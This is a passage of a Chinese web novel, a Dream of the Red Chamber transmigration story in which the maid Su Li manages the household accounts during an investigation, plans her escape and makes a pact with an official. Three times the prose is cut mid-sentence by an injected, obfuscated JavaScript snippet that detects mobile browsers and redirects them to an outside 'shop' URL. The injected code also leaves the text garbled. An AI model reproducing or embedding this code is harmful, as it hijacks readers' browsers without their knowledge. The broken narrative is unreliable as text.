还有……人。平儿是凤姐死忠，必与西府共存亡。林之孝一家是家生奴，难以脱身。自己能带走的，或许只有小吉祥等几个无足轻重、又对自己忠心的小丫鬟。巧姐儿……若真到了那一天，凤姐托孤，她救是不救？ 思绪纷乱如麻，但苏璃的眼神却越发锐利。她将写满字的纸凑近灯焰，看着它蜷曲、焦黑、化为灰烬。这些念头，一丝一毫都不能留下痕迹。 随后，她拿出那本厚厚的、记录日常杂项的花样子册子，翻到中间几页，用特制的药水，在看似寻常的花卉纹样间隙，以极小极淡的字迹，开始加密记录方才的思路和要点。这是她穿越而来后，结合前世记忆自创的密写方式，即便册子落入他人之手，一时半刻也难窥其秘。 做完这一切，窗外已透出熹微晨光。苏璃毫无睡意，简单梳洗后，便像往常一样，前往王熙凤正房伺候。 平儿早已在廊下等候，眼下两片青黑，显然也是一夜未眠。见苏璃到来，她急步上前，压低声音：“如何？林之孝可有了消息？” 苏璃轻轻摇头，低语道：“已派人去寻吴新登，也吩咐清理库房单据了。奶奶醒了吗？” “刚醒，精神还是不济。”平儿忧心忡忡，“这事……可能瞒住？” “瞒不住。”苏璃斩钉截铁，“但我们要抢在都察院动作之前，把主动权握在自己手里。待会儿奶奶问起，我们需统一说法……”她低声对平儿交代了几句。 平儿认真听着，频频点头，看向苏璃的目光中依赖更重。此刻，这个年纪轻轻的姑娘，竟成了她和奶奶的主心骨。 进屋伺候王熙凤起身吃药，两人都默契地未提昨夜之事，只拣些府中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032199|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻常事务回禀。王熙凤恹恹的，也没多问。 直到早饭后，王熙凤精神稍好，屏退左右，只留平儿和苏璃，才揉着额角问道：“昨夜……林之孝来过了？东府那边，究竟怎么回事？”她的声音带着病后的虚弱，但眼神依旧锐利。 苏璃和平儿对视一眼，由苏璃上前，将林之孝禀报的事情，删去那些最坏的推测和自己的暗中布局，只客观陈述了都察院查账牵扯西府、吴新登失踪的情况，以及她吩咐林之孝去做的应急措施。 王熙凤听完，脸色白了白，闭上眼，久久不语。良久，才长长吐出一口浊气，带着无尽的疲惫和嘲弄：“好啊……真是好啊……树倒猢狲散，墙倒众人推。东府那边自己屁股不干净，还要拉上我们垫背！吴新登……这个吃里扒外的老杀才！” 她猛地睁开眼，眼中闪过厉色：“找！挖地三尺也要把吴新登给我找出来！活要见人，死要见尸！库房的单据，一张都不能少！还有，立刻把我们府里所有和东府有银钱往来的账目，全部封存，没有我的对牌，任何人不得调阅！” “是。”苏璃和平儿齐声应下。 “璃丫头，”王熙凤目光转向苏璃，带着一丝复杂的审视，“这次，你做得对。非常之时，行非常之事。眼下我这身子……外面的事，林之孝去办；府里的事，尤其是账目，你和平儿要多费心。务必……不能让人拿了错处去！”最后一句，说得极重。 “奶奶放心，奴婢明白。”苏璃垂首。王熙凤的信任和放权，在此刻显得如此沉重。 从正房出来，苏璃立刻投入紧张的准备中。她以“年终账目稽核”为名，带着平儿和对牌，直接进驻账房，将所有核心账册，特别是与宁府、与工程采买相关的，全部调出，逐一核对，查漏补缺。账房先生们见二奶奶身边最得力的两位姑娘亲自坐镇，气氛凝重，个个噤若寒蝉，配合异常。 同时，她暗中吩咐小吉祥，留意府外是否有生面孔打探消息，特别是与吴新登家有关的情况。 一整天，荣国府表面平静，内里却暗流汹涌。林之孝那边尚无消息传来，每一刻等待都显得无比漫长。 傍晚，苏璃正在核对一批与赖大家相关的庄子收益账目，小吉祥悄悄进来，在她耳边低语了几句。 苏璃眼神一凝。小吉祥说，后角门常来送菜的老张头透露，这两天有生面孔在打听吴新登家的宅子所在，看着不像寻常人，倒像是……衙门里的番子。 番子！都察院的人，竟然已经摸到吴新登家附近了！他们的动作，比想象的还要快！ 苏璃的心猛地一沉。这意味着，官方调查已经启动，留给她的时间，不多了。 她必须加快“后路”的布置。今晚，无论如何要再见林之孝一面。有些事，必须在黑暗中才能进行。 夜色，再次笼罩下来，比昨夜更加深沉。苏璃看着窗外漆黑的夜空，仿佛能看到无数无形的丝线正在收紧，而她和这座繁华的贾府，正是网中的困兽。 55. 自保 林之孝带来的消息，如同腊月里兜头一盆冰水，将苏璃残存的最后一丝侥幸浇灭。都察院的番子已经摸到了吴新登家附近，这意味着官府的调查网正在迅速收紧，留给她的时间，已不是以日计，而是以时辰计了！ 她强迫自己冷静下来，将纷乱的思绪强行压下去。恐慌解决不了任何问题，现在必须争分夺秒，在都察院正式介入、封府查抄之前，完成两件最紧要的事：一是最大限度地厘清王熙凤和自己的责任，二是为自己谋划一条尽可能稳妥的退路。 第一件事，她之前已吩咐林之孝去办：找吴新登、清单据、封账册。但如今看来，找到吴新登的希望渺茫，此人要么已遭灭口，要么早已远走高飞。清点单据和封存账目是防御，是尽量撇清。但被动防御远远不够，她需要更主动的手段。 夜色深沉，苏璃却毫无睡意。她吹熄了灯，和衣躺在炕上，大脑在黑暗中高速运转。都察院查账，突破口在东府，由头是贾珍的案子牵扯出工程贪墨，而西府被牵连，是因为那两笔经吴新登之手、账面写着“西府库上”的银子。关键点在于：第一，这两笔银子是否真的被贪墨了？第二，如果贪墨属实，王熙凤是否知情甚至参与？第三，她苏璃在其中扮演什么角色？ 对于王熙凤而言，最好的情况是证明这两笔银子确实用于工程，且物资属实，流程合规，她只是按例协理，具体经办是吴新登，她并不知情其中猫腻。但如今吴新登失踪，实物（金丝楠木、太湖石）是否还在、价值是否相符，就成了关键证据！ 想到此处，苏璃猛地坐起身。必须立刻确认那批物料的下落！如果物料还在省亲别墅且货真价实，王熙凤的责任就能减轻大半！即便物料不在或被偷梁换柱，也要立刻找到其去向的合法合理解释，比如改建挪用记录，绝不能留下“被贪墨”的无头公案！ 还有暖香坞……那个藏着更大隐秘的所在。那里面的东西，必须尽快处理掉！绝不能落入都察院之手！ 至于第二件事，她自己的退路……苏璃的心沉了沉。覆巢之下无完卵。一旦贾府被抄，她作为王熙凤最倚重的钱袋子，经手无数银钱往来，绝难置身事外。届时，最好的结果是作为奴仆被籍没发卖，最坏的结果……她不敢深想。 她必须加快之前暗中布局的步伐！城外田庄那点微薄产业，远不足以应对巨变。必须利用最后的时间窗口，将能动的银钱，以更隐蔽的方式转移出去。江南的“锦云堂”尚在雏形，远水难救近火。或许……可以借助薛家的商路？宝钗近日似乎对她释放过善意，但薛家与贾家牵连太深，自身难保，未必稳妥。 还有水澈……那个心思难测的男人。他可知此事？在此事中，扮演何种角色？是冷眼旁观，还是会……施以援手？苏璃用力摇了摇头，将这个过于依赖他人的念头驱散。靠人不如靠己，尤其是在这滔天巨浪中，能依靠的，只有自己。 主意已定，剩下的便是搏命一赌。天刚蒙蒙亮，苏璃便起身，仔细梳洗后，如同往常一样，前往王熙凤正房。越是危急时刻，越不能乱了方寸。 平儿早已在廊下等候，眼下的乌青比昨日更重，见到苏璃，如同抓住了救命稻草，急步上前低语：“璃姑娘，你可来了！奶奶夜里又吐了一次，刚喝了药睡下。林之孝那边……可有消息？” 苏璃轻轻摇头，低声道：“尚无确切消息。平儿姐姐，眼下最要紧的是两件事：一是立刻查证那两笔银子对应的物料下落，二是……清理府中所有可能授人以柄的物件。” 平儿是聪明人，立刻明白了苏璃的暗示，脸色一白：“你是说……” “以防万一。”苏璃语气凝重，“尤其是……奶奶的一些私密旧账和往来信函。”她点到即止，但平儿已然会意，指的是王熙凤放贷取利等那些见不得光的账目。 平儿深吸一口气，重重地点了点头：“我明白。我这就去办。”她顿了顿，看着苏璃，“外面的事，林之孝和你多费心。奶奶这里……有我。” 这是彻底的信任和托付。苏璃心中感动，也知责任重大：“姐姐放心。” 送走平儿，苏璃转身便去找林之孝。事急从权，也顾不得太多避讳了。她在二门外寻到一夜未眠、眼中布满血丝的林之孝。 “林管家，吴新登可有踪迹？” 林之孝面色沉重地摇头：“像是人间蒸发了！家里搜检过，只剩些笨重家具，细软和重要物件都不见了。他婆娘和孩子，三日前就说回娘家去了，如今看来，怕是早就安排好的金蝉脱壳！” 苏璃心下一沉，果然如此！她立刻道：“吴新登暂且放下。眼下有更要紧的事，需立刻去办，必须绝对可靠的人手！” “姑娘请吩咐！”林之孝精神一振。 “第一，你立刻带几个心腹，悄悄去一趟省亲别墅，不要惊动任何人，重点查探去年修缮时用的那批金丝楠木和太湖石是否还在原处？若在，大致评估一下成色、数量，速来回我！若不在，立刻暗中查访去向，有无改建记录或知情匠人？但要千万小心，莫要惊动都察院的耳目！”苏璃语速极快，条理清晰。 林之孝眼中闪过惊异，随即化为钦佩：“是！我亲自去！” “第二，”苏璃压低了声音，“府里所有与东府，特别是与珍大爷、蔷二爷、菖大爷等人有关的大额账目、借据、礼单，凡手续模糊、经手人可疑的，立刻清理出来，能补手续的补，不能补的……你知道该怎么做。”她目光锐利地看着林之孝。 林之孝是府里的老人，深知其中利害，肃然点头：“明白！我让账房几个老成可靠的先生立刻动手，对外只说是年终盘账。” “第三，”苏璃沉吟片刻，声音更低，“你手下可有绝对可靠、且与府里明面上扯不清关系的人？比如……早已脱籍的旧仆，或是在外面有自己营生、嘴巴极严的？” 林之孝目光一闪，瞬间明白了苏璃的意图，这是要安排“暗线”了。他略一思索，低声道：“有一个，叫赵天佑，原是老国公爷身边长随的儿子，早些年放了出去，如今在城南开着一家不大的车马行，人极可靠，念着旧情，府里有些暗地里的事，都是他经手。他一家老小都在京郊，底子干净，与府里明账上早无瓜葛。” “好！”苏璃当机立断，“你想办法悄悄见他一面，不要留字据。让他帮我做两件事：一，在江南，找一个可靠的、与贾家无涉的钱庄，用个化名，开一个隐秘户头；二，在通州码头，留意近期南下的可靠商船，特别是去往南洋方向的。这些事，要用现银，我稍后会设法给你一部分。”这是她为自己留的最终退路——一旦事不可为，必须能立刻携带细软，远走高飞。 林之孝深深看了苏璃一眼，这姑娘年纪轻轻，思虑竟如此周详深远！他重重抱拳：“姑娘放心，林某晓得轻重！这就去办！” 吩咐完林之孝，苏璃快步回到自己房中，反锁了门。她取出那本看似普通的花样子册子，又拿出特制的药水，在空白处，以极小极淡的字迹，开始加密记录关键信息：都察院动向、吴新登失踪、物料核查指令、账目清理要点、以及与赵天佑联络的暗号……这是她的护身符，也是催命符，必须万无一失。 刚记录完毕，窗外传来小吉祥急促的声音：“璃姑娘！璃姑娘！不好了！” 苏璃心中一凛，迅速收好册子，打开门：“怎么了？” 小吉祥跑得气喘吁吁，脸色发白：“后角门……后角门来了几个官差模样的人，正在跟守门的张爷爷打听吴新登家的宅子呢！看着可严肃了！” 来了！竟然来得这么快！苏璃强迫自己镇定：“知道了。你做得很好，继续留意着，有任何生面孔在府外打探，立刻来报我。记住，装作什么都不知道，就像寻常小丫鬟看热闹一样。” 打发了小吉祥，苏璃背靠门板，心脏狂跳。都察院的人已经公然现身，这说明调查已从暗中摸排转为半公开的讯问取证了！下一个，恐怕就要传唤贾府的相关管事了！ 她必须立刻去见王熙凤！无论如何，要在被传唤之前，统一好口径！ 然而，当她赶到王熙凤正房外时，却被丰儿拦住了。丰儿脸色苍白，低声道：“姑娘，方才老太太屋里的鸳鸯姐姐来传话，说老太太请奶奶过去说话……奶奶强撑着起来了，刚过去没多久。平儿姐姐跟着去了。看鸳鸯姐姐的脸色，怕是……怕是东府的事，老太太已经知道了！” 苏璃的心彻底沉了下去。贾母都已知情，这意味着风波已彻底掩盖不住，即将席卷整个贾府！王熙凤被叫去，必然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036640|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 询问此事，以贾母的精明，王熙凤能否应对得当？她病中精神不济，会不会说错话？ 此刻，她竟连王熙凤的面都见不上了！一种巨大的无力感攫住了她。她就像暴风雨中一叶孤舟，看似在努力掌舵，却根本无法抗衡那滔天巨浪。 时间一分一秒地过去，每一刻都如同煎熬。苏璃在屋里坐立难安，只能强迫自己继续思考各种可能性和应对方案。 约莫过了一个多时辰，才听到外面传来脚步声和平儿低低的劝慰声。王熙凤回来了！ 苏璃立刻迎了出去，只见王熙凤被平儿和丰儿一左一右搀扶着，脸色灰败，嘴唇没有一丝血色，眼神涣散，仿佛一下子被抽走了所有精气神。见到苏璃，她只是无力地抬了抬眼皮，连话都说不出来了。 “奶奶……”苏璃心中一酸。 平儿对苏璃使了个眼色，微微摇头，示意情况极其糟糕。两人合力将王熙凤扶到炕上躺下，喂了几口参汤，王熙凤才缓过一口气，闭上眼，两行清泪从眼角滑落。 “完了……全完了……”她声音嘶哑，带着无尽的绝望，“老太太都知道了……说……说是宫里也得了信儿……让我……让我早做准备……” 这话如同惊雷，在苏璃耳边炸响。宫里都得了信儿！这意味着皇帝已经关注此事，贾府的命运，几乎已经注定！ “奶奶，现在不是灰心的时候！”苏璃握住王熙凤冰凉的手，急切地低声道，“越是如此，越要稳住！咱们必须保住元气！那批物料，林之孝已经去查了！账目也在清理！只要咱们自己不出错，就还有转圜的余地！” 王熙凤猛地睁开眼，看着苏璃，眼中闪过一丝微弱的光，但随即又黯淡下去：“没用的……树倒猢狲散……墙倒众人推……这次……怕是躲不过了……” 就在这时，外面传来一阵急促的脚步声和小丫鬟惊慌的声音：“二奶奶！琏二爷！琏二爷回来了！脸色难看得很，直往这边来了！” 话音未落，贾琏已一阵风似的闯了进来，官袍都未换，脸上又是惊惶又是怒气，指着炕上的王熙凤吼道：“你这蠢妇！你到底背着我做了些什么？都察院的人都找到我衙门里来了！问我知不知道那两笔银子的事！你……你要把我们都害死了！” 王熙凤被他吼得浑身一颤，挣扎着想坐起来，却一阵头晕，又跌了回去，只是喘着气，说不出话。 平儿连忙上前：“二爷息怒！奶奶病着呢……” “病？我看她是装病！”贾琏口不择言，“整日里算计这个，算计那个，如今算计到阎王爷头上了！我告诉你，若是查实了，你休想拖我下水！”他说完，竟不再看王熙凤一眼，摔门而去。 屋内死一般寂静。王熙凤睁大眼睛，望着贾琏离去的方向，胸口剧烈起伏，猛地喷出一口鲜血，染红了前襟，人直挺挺地晕了过去。 “奶奶！” “快请太医！” 屋内顿时乱作一团。苏璃看着眼前这夫妻离心、大厦将倾的惨状，一股寒意从脚底直窜头顶。贾琏的态度，已然说明了一切。大难临头各自飞，他已急于切割自保了。 而她苏璃，这个深受王熙凤倚重、经手无数账目的“璃姑娘”，在都察院眼中，恐怕亦是重点审查对象。届时，谁能保她？王熙凤自身难保，贾琏靠不住，贾母……只怕也无力回天。 她缓缓退到外间，看着窗外灰蒙蒙的天空。必须做最坏的打算了！林之孝那边，必须加快速度！赵天佑那条线，是她最后的希望！ 她摸了摸袖中那本硬硬的花样子册子，眼中闪过一丝孤注一掷的决绝。或许……是时候动用那本册子里记录的、某些足以鱼死网破的秘密了？比如……关于贾府某些人的、更隐秘的财务往来？但这把双刃剑，一旦使出，就再无转圜余地。 正当她心乱如麻之际，一个小丫鬟悄悄塞给她一个小纸团。苏璃心中一动，趁无人注意展开一看，上面只有一行熟悉的、略显潦草的字迹：“城外玄真观，明日辰时。” 没有落款，但苏璃认得这笔迹！是水澈！他果然知道了！在这个节骨眼上，他约见自己，是何用意？是福？是祸？ 苏璃将纸团紧紧攥在手心，仿佛攥住了狂风巨浪中，唯一一根若隐若现的稻草。 56. 合作 次日寅时刚过，天际泛着鱼肚白，寒风刺骨。苏璃悄无声息地起身，碧痕尚在熟睡。她换上一身最不起眼的青布棉裙，用荆钗绾了发，脸上稍作修饰，掩去过于清亮的眼神，看起来像个寻常的农家小媳妇。 她将袖中那本至关重要的花样子册子塞进贴身内袋，又检查了暗袋里几张小额银票和些许碎银——这是她目前能动用的全部私房。深吸一口气，她推开房门，凛冽的晨风扑面而来。 府内一片死寂，只有巡夜婆子缩在避风处打盹。苏璃熟门熟路地避开耳目，从平日运送杂物的后角门溜了出去。守门的张老头是她早年用几壶酒和些许铜钱喂熟了的，见她这般早出门，只当是奉了里头主子的密令办事，嘟囔了一句“姑娘早”，便开了条门缝。 城外玄真观坐落在西山脚下，香火不算鼎盛，平日多是些城郊百姓前来祈福还愿，环境清幽，正是密会的好去处。辰时未到，苏璃便已抵达观外。她并未立刻进去，而是绕着道观走了一圈，观察四周地形、路径，确认并无异常眼线，这才整理了一下衣襟，低头走进观门。 观内香烟袅袅，几个早起的道士正在洒扫。苏璃装作寻常香客，先在主殿上了炷香，捐了几文香油钱，目光却不着痕迹地扫视四周。并未见到水澈的身影。 她也不急，信步走到观后一处僻静的梅林。时值寒冬，枝头只有零星几朵残梅，在寒风中瑟缩。林中有一石亭，此刻空无一人。 苏璃走进石亭，背靠廊柱，看似欣赏残雪梅景，实则全身感官都提升到极致，留意着任何风吹草动。 约莫过了一炷香的功夫，一阵极轻的脚步声自身后响起。苏璃心中一凛，并未立刻回头，只是握着香囊的手微微收紧。 “姑娘好早。”一个低沉而熟悉的声音响起，带着一丝不易察觉的疲惫。 苏璃缓缓转身，只见水澈不知何时已站在亭外一株老梅下。他今日未着官服，只穿了一身玄色暗纹锦袍，外罩墨狐皮大氅，身形挺拔，面容依旧冷峻，但眼下淡淡的青黑和眉宇间挥之不去的凝重，泄露了他此刻处境亦不轻松。 “水大人相邀，不敢迟来。”苏璃福了一礼，语气平静无波，目光却锐利地直视对方，“不知大人今日约见民女，所为何事？” 水澈迈步走进亭中，与苏璃隔着石桌相对而立。他并未寒暄，开门见山，声音压得极低：“贾府之事，你已知晓多少？” 苏璃心道果然为此，面上却不露声色：“民女一介女流，深居内宅，能知晓什么？不过是见府中近日气氛紧张，琏二爷焦躁，二奶奶病倒，外面似有官差走动，心中不安罢了。” 水澈嘴角勾起一抹极淡的、近乎嘲讽的弧度：“深居内宅？苏姑娘过谦了。若论对贾府财务虚实、海外牵连的洞察，只怕这府中上下，无人能出你之右。” 他果然知道了！而且知道的远比她预想的更深！苏璃心脏猛地一缩，面上却强自镇定：“水大人此话何意？民女听不懂。” “听不懂？”水澈向前逼近一步，目光如鹰隼般锁住她，“省亲别墅物料亏空、江南锦云堂初立、甚至……你通过薛家商路暗中转移的那几笔银子，还需要我说得更明白些吗？” 每一个字都像重锤，敲在苏璃心上。她感觉自己仿佛被剥光了衣服，站在冰天雪地之中，所有自以为隐秘的布局，在这个男人眼中竟似透明一般！巨大的恐惧瞬间攫住了她，几乎让她窒息。她下意识地后退半步，背脊抵住了冰凉的亭柱。 看到她眼中一闪而过的惊惶，水澈目光微动，语气却缓和了些许，带着一种奇异的复杂意味：“你不必惊慌。我若有意拿你，今日便不会在此相见。” 苏璃强迫自己冷静下来，大脑飞速运转。是了，他若真要动手，何必约她至此？他透露这些，是警告？是试探？还是……另有所图？ “大人……究竟意欲何为？”苏璃的声音带着一丝不易察觉的微颤，但眼神已重新凝聚起力量，迎上他的目光。 水澈看着她迅速从震惊中恢复镇定，眼中闪过一丝几不可察的激赏。他退回一步，拉开些许距离，缓解了压迫感，沉声道：“贾府之案，已成定局。圣意已决，非人力可挽回。抄家，只是时间问题。” 尽管早有预料，亲耳听到这个判决，苏璃还是感到一阵寒意从脚底直窜头顶。她闭了闭眼，复又睁开，声音低哑：“……多谢大人坦言。” “但，”水澈话锋一转，目光深邃地看着她，“大厦倾覆，蝼蚁未必不能偷生。关键在于，如何在这滔天巨浪中，找到一线生机，甚至……保住些许根本。” 苏璃心中一动，捕捉到了他话中的关键：“大人的意思是……” “贾府海外资产，特别是与江南锦云堂相关的线索，是此案关键之一，亦是……某些人急于抹平或吞没的肥肉。”水澈语气平淡，却字字惊心，“我奉命追查此事。但如何查，查到何种程度，却可斟酌。” 苏璃瞬间明白了！水澈在此案中处境微妙！他既是执行者，可能也受到了来自其他势力或许是忠顺亲王一派的压力或牵制。他需要“找到”贾府的海外资产，但又未必愿意让这些资产完全落入政敌之手，或者，他想借此案达成其他目的？而自己这个知晓内情、且有能力运作这些资产的人，就成了一个可以“合作”的变量！ 这是一个危险的漩涡，但漩涡中心，或许有一块可供立足的礁石。 “民女人微言轻，能做什么？”苏璃谨慎地问道，试探他的底线。 “我要贾府海外资产真实的账目和转移路径，特别是与几位皇子、乃至宫中某些人可能有关的隐秘往来。”水澈盯着她，目光锐利，“作为交换，我可以在权限范围内，对你，以及你尽力保全的个别人……网开一面。” 他顿了顿，补充道，语气带着一丝意味深长：“比如，那个尚在襁褓的巧姐儿，又或者……你那个忠心耿耿的丫鬟小吉祥一家。” 他连她最隐秘的软肋都一清二楚！苏璃心底寒意更盛，但一股绝境求生的欲望也随之熊熊燃烧。这是交易，赤裸裸的交易。用贾府最核心的机密，换取有限度的生存机会。 “大人如何能保证，我交出账目后，能得保全？兔死狗烹，鸟尽弓藏的道理，民女还懂。”苏璃没有被生机诱惑冲昏头脑，反而异常冷静。 水澈似乎早料到她有此一问，淡淡道：“第一，我水澈行事，尚重承诺。第二，你活着，并且保有部分暗中运作的能力，对我而言，比一具尸体更有价值。江南商路、海外舆图，乃至你脑中那些……超越时代的经营之法，或许在未来，于国于民，另有用处。”他最后一句说得极轻，却让苏璃心中剧震！他竟看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040702|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这一层？! 一时间，亭中寂静无声，只有寒风掠过梅枝的呜咽。两人目光交汇，进行着无声的较量与权衡。信任是奢侈品，但他们此刻，却不得不尝试建立一种基于利益和相互制约的、脆弱的同盟。 良久，苏璃缓缓开口，声音恢复了平日的沉静，却带着孤注一掷的决绝：“账目我可以给你，甚至比官面上能查到的更详细、更真实。但我有三个条件。” “说。” “第一，巧姐儿等无大过错之人必须安全离京，交由可靠之人照看，确保她们此生安稳，远离是非。第二，王熙凤……若有可能，留她一线生机，至少，莫受牢狱折辱。”苏璃说出这两个条件时，声音带着一丝不易察觉的涩意。这是她对那个曾经赏识、倚重她，却也命运悲惨的琏二奶奶，最后能尽的一点心意。 水澈沉默片刻，点了点头：“可。只要她不过分抵抗，牵连过深，我可尽力周旋。第三呢？” 苏璃深吸一口气，目光灼灼地看向他：“第三，我要一个全新的、与贾府毫无瓜葛的身份文牒，以及……一条能安全离开神京，前往江南的途径。时间，由我来定。” 这才是她真正的退路！她不可能完全将命运交托给别人，必须掌握主动权。 水澈深深地看着她，似乎想看清她灵魂深处。这个女子，在如此绝境下，竟还能如此冷静地为自己谋划退路，甚至敢跟他谈条件！ “可以。”他最终应下，“但你必须在我需要的时候，提供真实的账目。而且，离京之前，需替我办成一件事。” “何事？” “贾府与北静王府之间，有一笔旧年债务，账目模糊。我要你找出原始借据，或确凿证据。”水澈低声道，“此事关乎王府清誉，需绝对隐秘。” 苏璃心中了然，这恐怕是水澈真正的目的之一，借查贾府之机，清理王府自身的隐患，或打击政敌。自己成了他手中一把更隐秘的刀。 “我尽力。”她没有把话说满。 “不是尽力，是必须。”水澈语气不容置疑，“这是你换取生机的前提。” 交易达成，空气中弥漫着一种紧张而脆弱的平衡。 水澈从怀中取出一个小巧的、看似普通的锦囊，递给苏璃：“此物你收好。若遇紧急情况，可持此物到城南‘永济堂’药铺，找陈掌柜。他自会设法联系我。但非到万不得已，切勿使用。” 苏璃接过锦囊，触手微凉，上面绣着暗纹，看不出特别。她小心收好。 “贾府抄家之日，应在半月之内。你好自为之。”水澈说完，深深看了她一眼，转身便走，墨色大氅在寒风中扬起一道利落的弧线，很快消失在梅林深处。 苏璃独自站在亭中，握着那枚冰冷的锦囊，仿佛握着一块烫手的烙铁。与水澈的盟约，如同在悬崖边走钢丝，一步踏错，便是万劫不复。 但，这已是绝境中唯一能抓住的稻草。 她抬头，望向灰蒙蒙的天空，目光渐渐变得坚定而冰冷。既然退路已铺就，那么在这最后的时间里，她必须加快动作，将能转移的财物尽可能转移出去，也要……让某些人，为他们的贪婪付出代价。 比如，那个卷款潜逃的吴新登！或许，可以通过水澈的渠道…… 一个大胆的计划，在她心中悄然成形。 57. 旧债迷踪 玄真观梅林中的盟约，如同在悬崖边系上一根蛛丝，细弱，却给了坠崖之人一线生机。苏璃握着那枚冰冷的锦囊回到贾府时，天色已大亮。府内依旧是一片死寂下的惶惶不可终日，但她的心境已截然不同。 她没有直接回王熙凤处，而是绕道去了园子里僻静的一角，寻了块山石坐下，迎着凛冽的晨风，迫使自己冷静下来。与水澈的交易，是与虎谋皮，一步踏错，便是万劫不复。但眼下，这是唯一能抓住的稻草。 他要贾府海外资产的真实账目和转移路径，特别是与皇子、宫中贵人相关的隐秘往来。这无异于要掏出贾府最后保命的根基，也是她苏璃为自己预留的退路。交出去，贾府必倒得更快、更彻底，她或许能换取巧姐儿、王熙凤一线生机，以及自己脱身的机会；不交，或是交假的，一旦被水澈识破，立刻就是灭顶之灾。 关键在于“真实”二字。水澈是皇帝暗探，必有其他信息渠道验证。她必须给出足够真实、甚至超出他预期的核心机密，才能显示“诚意”，但又要有所保留，不能将底牌全部亮出，要让自己始终保有“持续提供价值”的筹码。 同时，他还要她查北静王府与贾府之间的旧年债务证据。这任务更是凶险。北静王府与贾府关系微妙，既是世交，又在政治上保持距离。这旧债，恐怕牵扯到两府乃至更高层面的隐秘交易，水澈让她去查，是借刀杀人？是试探她的能力？还是想借此清理王府自身的隐患，或打击政敌？ 无论哪种，她都已被卷入更深的漩涡。 理清头绪，苏璃站起身，拍了拍衣裳上的寒气。当务之急，是尽快拿到水澈想要的东西，同时加快自己脱身的准备。 回到王熙凤院里，气氛比昨日更加凝重。丰儿悄悄告诉苏璃，昨夜又有官差模样的人来府外探查，琏二爷一早就被叫去东府商议，至今未回。王熙凤强撑着病体，在屋里看账本，脸色灰败得吓人。 苏璃端了碗参茶进去，轻轻放在炕几上。“奶奶，喝口茶润润喉吧。” 王熙凤抬起头，眼下是浓重的青黑，目光却异常锐利地盯住苏璃，声音沙哑：“你一早去了哪里？” 苏璃心中微凛，知道瞒不过，便半真半假道：“回奶奶，奴婢心里慌得紧，一早去园子里走了走，想静静心。顺便……也想着奶奶昨日吩咐的话，琢磨着哪些账目是关键，哪些……或许可以早做打算。”她将“早做打算”几个字咬得极轻。 王熙凤目光闪烁了一下，死死盯着她，半晌，才颓然靠回引枕上，闭了眼，挥挥手：“罢了……你是个有主意的。去吧，让我静静。” 苏璃知道，王熙凤此刻已是心力交瘁，既倚重她，又难免猜疑。她不再多言，默默退下。 接下来的两日，苏璃如同上了发条的陀螺，高速运转。她利用王熙凤给予的权限，名正言顺地调阅贾府最核心的账册、库房记录、乃至一些密存的往来书信。表面理由是“核对账目，以备不时之需”，实则在疯狂寻找水澈所需的信息，同时也在甄别哪些是可以交出去的“真货”，哪些是必须牢牢握在手中的“底牌”。 关于海外资产，她果然发现了比明面上更深的脉络。除了她已知的通过薛家商路和江南锦云堂转移的资产，账目中还隐晦地提及了几笔通过粤海将军邬家、甚至与内务府采办渠道相关的资金流动，最终指向了南洋的几个隐秘商栈和一支挂靠在福建某大海商名下的船队。更让她心惊的是，有一笔巨款的去向，账目做得极其隐晦，只以“宫中用度”、“王爷脂粉”等代称，最终消失在几经转手的钱庄票据中。这无疑牵扯到了宫里的某位贵人和一位皇子，很可能是忠顺亲王。 苏璃将这些关键信息，用只有她自己才懂的符号和缩写，密录在一张薄如蝉翼的薛涛笺上，藏在贴身之处。这是她换取生机的第一份“诚意”。 至于北静王府的旧债，她查得更加小心。明面上的账册几乎无迹可寻，显然已被刻意清理过。她不死心，从一些陈年的礼单、府中老人依稀的记忆碎片，以及几封看似寻常的往来书信的只言片语中拼凑线索。 这日傍晚，她在一箱堆放杂物的旧信札中，发现了一封贾敬早年写给贾代善的信。信中提到一桩“旧年公案”，说是“当日为助北静王爷周转，由两府共同垫付的一笔修缮西海沿子军备的款项，共计白银五万两，当时言明待朝廷拨款即还”，后文却语焉不详，只感慨“时移世易，王爷亦有其难处，此事暂且搁置，勿再提起”。信末日期，是二十多年前。 五万两！还是一笔与军备相关的款项！苏璃心中剧震。这绝非寻常债务。北静王府为何需要两府垫付军费？是私自挪用，还是另有隐情？为何事后不还，贾府也不敢催讨？这封信为何被藏在杂物中，而非重要文书里？ 她意识到，这恐怕是一个巨大的政治黑洞，牵扯到军方、王府、乃至当年的朝局隐秘。水澈让她查这个，目的绝不单纯。 正当她对着那封信出神之际，林之孝冒着寒气，神色仓皇地溜了进来，见到苏璃，如同见到救星。 